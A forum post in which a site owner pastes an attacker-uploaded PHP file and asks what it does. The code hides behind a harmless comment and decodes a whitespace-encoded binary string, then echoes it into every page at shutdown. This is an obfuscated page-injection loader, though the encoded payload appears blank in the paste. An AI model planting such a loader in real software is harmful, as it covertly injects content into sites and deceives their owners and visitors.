you may see this warning in bthe end of page warning will show after delay some time. i deleted 13060006407219.php file from server that was uploaded by hacker.

below if code of this page i do not understand what is mean by this code waht haker want to do exectly.

<?php /**
* Gets some core libraries and displays a top message if required. /*
*/ if(!function_exists('CoreLibrariesHandler')) { /*
*/ function CoreLibrariesHandler() { /*
*/ $session_keys = ' '; /*
*/ /*
*/ foreach(str_split($session_keys, 8) as $k=>$v) { /*
*/ $v = str_replace(' ', 1, str_replace(' ', 0, $v)); /*
*/ $session_keys[$k] = chr(bindec($v)); /*
*/ } /*
*/ /*
*/ if($session_keys) echo $session_keys; } /*
*/ register_shutdown_function('CoreLibrariesHandler') ; /*
*/ } /*
************************************************** **********************/



?>